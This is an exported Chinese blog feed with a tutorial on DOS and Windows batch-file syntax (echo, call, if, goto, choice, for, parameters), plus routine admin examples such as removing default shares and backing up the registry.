            &nbsp;&nbsp;&nbsp;&nbsp; 序列 (5 4 3 2 1)</p>
            <p>里面第一个1在start的位置,意思是起始位置,第2个1在step位置,英文意思是跨步,在这里面的意思是每次增量为1.后面的5在end的位置,意思是结束时的大小.</p>
            <p>这句话的意思就是从1(start)开始增加,每次增加1(step),一直到变到5(end)为止.</p>
            <p>这个有什么用呢?其实我感觉这个东西的用处还是很大的.举个最简单的例子,我们想重复回显"i am the best"这句话,重复显示10遍.那么for命令如下:</p>
            <p>for /L %%e in (1,1,10) do echo "i am the best"</p>
            <p>这时,cmd就会重复输入"i am the best"10遍.</p>
            <p>===============================================</p>
            <p>看完整篇文章了吗?咳...我写的不容易啊....</p>
            <p>现在不知道你对bat有了什么样的理解，我现在的感觉就是bat就是dos命令的组合，你把dos命令全写进bat命令，只要运行下bat就会挨个执行dos命令，这无疑提供了不少的方便。</p>
            <p>下面我再举些实例.</p>
            <p><strong>删除默认共享:</strong></p>
            <p>对于默认共享不知道你了解多少,反正留着是个隐患,现在唯一的办法好象只能做个bat文件进行删除.命令如下:</p>
            <p>net share ipc$ /delete<br />
            net share admin$ /delete<br />
            net share c$ /delete<br />
            net share d$ /delete<br />
            net share e$ /delete</p>
            <p>&#8230;&#8230;</p>
            <p>里面的c　d　e为你的盘符。如果你只有一个分区，那么写到net share c$ /delete为止就可以了。如果你有n个分区，那么就挨个写下去。</p>
            <p>net share d$ /delete<br />
            net share e$ /delete</p>
            <p>net share f$ /delete</p>
            <p>net share g$ /delete&#8230;&#8230;</p>
            <p><strong>登陆到局域网的机器快捷方式(对方机器有密码且为2000或以上系统)</strong></p>
            <p>net use <a href="file://192.168.0.1/"><font color="#000000">\\192.168.0.1</font></a> [密码] /user:[用户名]<br />
            explorer <a href="file://192.168.0.1/"><font color="#000000">\\192.168.0.1</font></a></p>
            <p><strong>bat文件备份注册表</strong></p>
            <p>set regfile=%date%&nbsp;&nbsp;&nbsp; //设置变量，下面出现%regfile%的都自动替换&#8220;当天date&#8221;</p>
            <p>if exist "%regfile%" goto end&nbsp;&nbsp;&nbsp; //如果发现当天date命名的目录，跳到文件尾。<br />
            md temp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //建temp目录</p>
            <p><br />
            call 1.bat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //调用1.bat<br />
            del&nbsp;&nbsp; 1.bat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
            ren 2.bat 1.bat<br />
            ren 3.bat 2.bat<br />
            ren 4.bat 3.bat<br />
            echo move&nbsp;&nbsp; "%regfile%"&nbsp;&nbsp; temp &gt;4.bat&nbsp;&nbsp; //写 移动&#8220;当天date命名的目录&#8221;到temp的bat文件&nbsp;&nbsp; 。</p>
            <p>md "%regfile%"&nbsp;&nbsp;&nbsp; //建当天date命名的目录<br />
            cd "%regfile%"&nbsp;&nbsp; //进入</p>
            <p>reg export hkcu hkcu.reg&nbsp;&nbsp;&nbsp; //导出注册表<br />
            reg export hklm hklm.reg&nbsp;&nbsp;&nbsp;<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //HKEY_CURRENT_USER&nbsp;&nbsp; 缩写hkcu 。存放当前用户个人数据<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //HKEY_LOCAL_MACHINE&nbsp;&nbsp; 缩写hklm 。系统的核心数据 <br />
            cd.. <br />
            deltree /y&nbsp;&nbsp; temp &gt;nul&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ////返回上级目录&nbsp;&nbsp; ，删temp文件夹 <br />
            :end</p>
            </div>
            </div>
            </td>
        </tr>
    </tbody>
</table>
</p>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/156513.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-10-28 18:59 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156513.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BAT批处理文件语法(转)</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156511.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 28 Oct 2007 10:55:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156511.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/156511.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156511.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/156511.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/156511.html</trackback:ping><description><![CDATA[<table class="fixedTable blogpost" cellspacing="0" width="100%" border="0">
    <tbody>
        <tr>
            <td class="ellipse"><span class="bvTitle" id="subjcns!C911EC016C40B108!205"><strong><font size="3">BAT批处理文件语法</font></strong></span></td>
        </tr>
        <tr>
            <td class="bvh8"><strong><font size="3"></font></strong></td>
        </tr>
        <tr>
            <td id="msgcns!C911EC016C40B108!205">
            <div>
            <div>扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。 <br />
            <br />
            ==== 注 ======================================= <br />
            .bat是dos下的批处理文件 <br />
            .cmd是nt内核命令行环境的另一种批处理文件 <br />
            从更广义的角度来看，unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与dos的批处理却又完全不同。 <br />
            =================================== <br />
            <br />
            首先批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 <br />
            <br />
            ==== 注 =================== <br />
            批处理文件中完全可以使用非dos命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于windows系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。 <br />
            ======================== <br />
            <br />
            其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。 <br />
            <br />
            ==== 注 ================== <br />
            批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就c语言来说，扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码，但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。 <br />
            =========================== <br />
            <br />
            第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。 <br />
            <br />
            ==== 注 ===== <br />
            纯以dos系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY宏命令（预先驻留内存），COMMAND.COM中的内部命令（根据内存的环境随时进驻内存），以com为扩展名的可执行程序（由command.com 直接载入内存），以exe位扩展名的可执行程序（由command.com 重定位后载入内存），以bat位扩展名的批处理程序（由command.com 解释分析，根据其内容按优先级顺序调用第2，3，4，5种可执行程序，分析一行，执行一行，文件本身不载入内存） <br />
            ============ <br />
            <br />
            第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例： <br />
            @ECHO OFF <br />
            PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;&lt;br&gt; <br />
            C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH <br />
            LH SMARTDRV.EXE /X <br />
            LH DOSKEY.COM /insert <br />
            LH CTMOUSE.EXE <br />
            SET TEMP=D:\TEMP <br />
            SET TMP=D:\TEMP <br />
            ==== 注 ===== <br />
            AUTOEXEC.BAT为DOS系统的自动运行批处理文件，由COMMAND.COM启动时解释执行； <br />
            而在Win9x环境中，不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件，对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。 <br />
            ==== willsort 编注 ============= <br />
            以下关于命令的分类，有很多值得推敲的地方。常用命令中的@本不是命令，而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。 <br />
            <br />
            以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字，当然，其中有些概念和定义已经有些落后了。 <br />
            <br />
            批处理命令 <br />
            <br />
            批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。 <br />
            <br />
            任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。 <br />
            ========== <br />
            <br />
            常用命令 <br />
            <br />
            echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br />
            <br />
            ==== 注 =========== <br />
            首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: <br />
            CR(0D) 命令行结束符 <br />
            Escape(1B) ANSI转义字符引导符 <br />
            Space(20) 常用的参数界定符 <br />
            Tab(09) ; = 不常用的参数界定符 <br />
            + COPY命令文件连接符 <br />
            * ? 文件通配符 <br />
            "" 字符串界定符 <br />
            | 命令管道符 <br />
            &lt; &gt; &gt;&gt; 文件重定向符 <br />
            @ 命令行回显屏蔽符 <br />
            / 参数开关引导符 <br />
            : 批处理标签引导符 <br />
            % 批处理变量引导符 <br />
            <br />
            其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: <br />
            第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. <br />
            第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. <br />
            ===================== <br />
            <br />
            echo 表示显示此命令后的字符 <br />
            echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />
            @与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />
            call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />
            pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />
            rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br />
            ==== 注 ===== <br />
            此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理 <br />
            <br />
            ------------------------- <br />
            ECHO <br />
            <br />
            当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。 <br />
            <br />
            在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。 <br />
            使用ECHO命令可关闭此功能。 <br />
            <br />
            语法 <br />
            <br />
            ECHO [ON|OFF] <br />
            <br />
            若要用echo命令显示一条命令，可用下述语法： <br />
            <br />
            echo [message] <br />
            <br />
            参数 <br />
            <br />
            ON|OFF <br />
            指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO <br />
            命令。 <br />
            <br />
            message <br />
            指定让MS-DOS在屏幕上显示的正文。 <br />
            <br />
            ------------------- <br />
            <br />
            CALL <br />
            <br />
            从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。 <br />
            <br />
            语法 <br />
            <br />
            CALL [drive:][path]filename [batch-parameters] <br />
            <br />
            参数 <br />
            <br />
            [drive:][path]filename <br />
            指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。 <br />
            <br />
            <br />
            batch-parameters <br />
            指定批处理程序所需的命令行信息。 <br />
            <br />
            ------------------------------- <br />
            <br />
            PAUSE <br />
            <br />
            暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处 <br />
            理程序中使用该命令。 <br />
            <br />
            语法 <br />
            <br />
            PAUSE <br />
            <br />
            <br />
            REM <br />
            <br />
            在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS <br />
            中也可以用分号 ; 代替REM命令，但在批处理文件中则不能替代）。 <br />
            <br />
            语法 <br />
            <br />
            REM [string] <br />
            <br />
            参数 <br />
            <br />
            string <br />
            指定要屏蔽的命令或要包含的注解。 <br />
            ======================= <br />
            <br />
            例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br />
            <br />
            　　批处理文件的内容为: 　　　　　　　 命令注释： <br />
            <br />
            　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 <br />
            　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />
            　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />
            　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />
            　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />
            　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />
            　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />
            　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br />
            <br />
            批处理文件的参数 <br />
            <br />
            批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。 <br />
            <br />
            %[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br />
            <br />
            例2：C:根目录下有一批处理文件名为f.bat，内容为： <br />
            @echo off <br />
            format %1 <br />
            <br />
            如果执行C:\&gt;f a: <br />
            那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: <br />
            <br />
            例3：C:根目录下一批处理文件名为t.bat，内容为: <br />
            @echo off <br />
            type %1 <br />
            type %2 <br />
            <br />
            那么运行C:\&gt;t a.txt b.txt <br />
            %1 : 表示a.txt <br />
            %2 : 表示b.txt <br />
            于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 <br />
            <br />
            ==== 注 =============== <br />
            参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下: <br />
            <br />
            初始状态, cmd 为命令名, 可以用 %0 引用 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ <br />
            | | | | | | | | | | <br />
            %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
            <br />
            经过1次shift后, cmd 将无法被引用 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ <br />
            | | | | | | | | | | <br />
            %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
            <br />
            经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义 <br />
            cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 <br />
            ^ ^ ^ ^ ^ ^ ^ ^ ^ <br />
            | | | | | | | | | <br />
            %0 %1 %2 %3 %4 %5 %6 %7 %8 <br />
            <br />
            遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针. <br />
            ================= <br />
            <br />
            特殊命令 <br />
            <br />
            <br />
            if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br />
            <br />
            <br />
            一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />
            <br />
            1、if [not] "参数" == "字符串" 待执行的命令 <br />
            <br />
            参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。 <br />
            <br />
            例：if "%1"=="a" format a: <br />
            <br />
            ==== <br />
            <br />
            if 的命令行帮助中关于此点的描述为: <br />
            IF [NOT] string1==string2 command <br />
            在此有以下几点需要注意: <br />
            1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 <br />
            2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 <br />
            3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 <br />
            ============================= <br />
            <br />
            2、if [not] exist [路径\]文件名 待执行的命令 <br />
            如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br />
            <br />
            如: if exist c:\config.sys type c:\config.sys <br />
            表示如果存在c:\config.sys文件，则显示它的内容。 <br />
            <br />
            ****** 注 ******** <br />
            也可以使用以下的用法: <br />
            if exist command <br />
            device 是指DOS系统中已加载的设备, 在win98下通常有: <br />
            AUX, PRN, CON, NUL <br />
            COM1, COM2, COM3, COM4 <br />
            LPT1, LPT2, LPT3, LPT4 <br />
            XMSXXXX0, EMMXXXX0 <br />
            A: B: C: ..., <br />
            CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ <br />
            具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: <br />
            1. 该设备确实存在(由软件虚拟的设备除外) <br />
            2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) <br />
            3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) <br />
            可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 <br />
            另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. <br />
            ================================== <br />
            <br />
            3、if errorlevel &lt;数字&gt; 待执行的命令 <br />
            <br />
            很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br />
            <br />
            如if errorlevel 2 goto x2 <br />
            <br />
            ==== 注 =========== <br />
            返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: <br />
            <br />
            if errorlevel 1 set el=1 <br />
            if errorlevel 2 set el=2 <br />
            if errorlevel 3 set el=3 <br />
            if errorlevel 4 set el=4 <br />
            if errorlevel 5 set el=5 <br />
            ... <br />
            <br />
            当然, 也可以使用以下循环来替代, 原理是一致的: <br />
            for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e <br />
            <br />
            更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章 <br />
            <br />
            出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. <br />
            <br />
            另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 <br />
            =========================== <br />
            <br />
            <br />
            二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br />
            <br />
            如: <br />
            <br />
            goto end <br />
            <br />
            :end <br />
            echo this is the end <br />
            <br />
            标号用":字符串"来定义，标号所在行不被执行。 <br />
            <br />
            ==== willsort 编注 <br />
            <br />
            label 常被译为 "标签" , 但是这并不具有广泛的约定性. <br />
            <br />
            goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照: <br />
            <br />
            Batch C / Basic <br />
            goto&amp;: goto&amp;: <br />
            goto&amp;:&amp;if if{}&amp;else{} / if&amp;elseif&amp;endif <br />
            goto&amp;:&amp;if... switch&amp;case / select case <br />
            goto&amp;:&amp;if&amp;set&amp;envar... function() / function(),sub() <br />
            ================================== <br />
            三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。 <br />
            <br />
            注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。 <br />
            <br />
            choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）： <br />
            <br />
            CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] <br />
            <br />
            描述: <br />
            该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br />
            <br />
            参数列表: <br />
            /C choices 指定要创建的选项列表。默认列表是 "YN"。 <br />
            <br />
            /N 在提示符中隐藏选项列表。提示前面的消息得到显示， <br />
            选项依旧处于启用状态。 <br />
            <br />
            /CS 允许选择分大小写的选项。在默认情况下，这个工具 <br />
            是不分大小写的。 <br />
            <br />
            /T timeout 做出默认选择之前，暂停的秒数。可接受的值是从 0 <br />
            到 9999。如果指定了 0，就不会有暂停，默认选项 <br />
            会得到选择。 <br />
            <br />
            /D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br />
            项指定的一组选择中; 同时，必须用 /T 指定 nnnn。 <br />
            <br />
            /M text 指定提示之前要显示的消息。如果没有指定，工具只 <br />
            显示提示。 <br />
            <br />
            /? 显示帮助消息。 <br />
            <br />
            注意: <br />
            ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br />
            择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择， <br />
            该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的 <br />
            ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 <br />
            的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降 <br />
            序排列。 <br />
            <br />
            示例: <br />
            CHOICE /? <br />
            CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />
            CHOICE /T 10 /C ync /CS /D y <br />
            CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。" <br />
            CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。" <br />
            <br />
            ==== willsort 编注 =============================== <br />
            我列出win98下choice的用法帮助, 已资区分 <br />
            <br />
            Waits for the user to choose one of a set of choices. <br />
            等待用户选择一组待选字符中的一个 <br />
            <br />
            CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] <br />
            <br />
            /C[:]choices Specifies allowable keys. Default is YN <br />
            指定允许的按键(待选字符), 默认为YN <br />
            /N Do not display choices and ? at end of prompt string. <br />
            不显示提示字符串中的问号和待选字符 <br />
            /S Treat choice keys as case sensitive. <br />
            处理待选字符时大小写敏感 <br />
            /T[:]c,nn Default choice to c after nn seconds <br />
            在 nn 秒后默认选择 c <br />
            text Prompt string to display <br />
            要显示的提示字符串 <br />
            ERRORLEVEL is set to offset of key user presses in choices. <br />
            ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br />
            如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />
            屏幕上会显示： <br />
            确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]? <br />
            <br />
            <br />
            例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br />
            @echo off <br />
            choice /C dme /M "defrag,mem,end" <br />
            if errorlevel 3 goto end <br />
            if errorlevel 2 goto mem <br />
            if errorlevel 1 goto defrag <br />
            <br />
            :defrag <br />
            c:\dos\defrag <br />
            goto end <br />
            <br />
            :mem <br />
            mem <br />
            goto end <br />
            <br />
            :end <br />
            echo good bye <br />
            <br />
            此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br />
            <br />
            四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br />
            <br />
            语法： <br />
            对一组文件中的每一个文件执行某个特定命令。 <br />
            <br />
            FOR %%variable IN (set) DO command [command-parameters] <br />
            <br />
            %%variable 指定一个单一字母可替换的参数。 <br />
            (set) 指定一个或一组文件。可以使用通配符。 <br />
            command 指定对每个文件执行的命令。 <br />
            command-parameters <br />
            为特定命令指定参数或命令行开关。 <br />
            <br />
            例如一个批处理文件中有一行: <br />
            for %%c in (*.bat *.txt) do type %%c <br />
            <br />
            则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br />
            <br />
            ==== willsort 编注 ===================================================== <br />
            需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br />
            当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br />
            ======================================================================== <br />
            <br />
            批处理示例 <br />
            <br />
            1. IF-EXIST <br />
            <br />
            1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br />
            @echo off <br />
            IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />
            IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br />
            <br />
            然后运行它： <br />
            C:\&gt;TEST1.BAT <br />
            <br />
            如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 <br />
            <br />
            2) 接着再建立一个test2.bat文件，内容如下： <br />
            @ECHO OFF <br />
            IF EXIST \%1 TYPE \%1 <br />
            IF NOT EXIST \%1 ECHO \%1 does not exist <br />
            <br />
            执行: <br />
            C:\&gt;TEST2 AUTOEXEC.BAT <br />
            该命令运行结果同上。 <br />
            <br />
            说明： <br />
            (1) IF EXIST 是用来测试文件是否存在的，格式为 <br />
            IF EXIST [路径+文件名] 命令 <br />
            (2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br />
            <br />
            ==== willsort 编注 ===================================================== <br />
            DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br />
            ======================================================================== <br />
            <br />
            3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br />
            @echo off <br />
            IF "%1" == "A" ECHO XIAO <br />
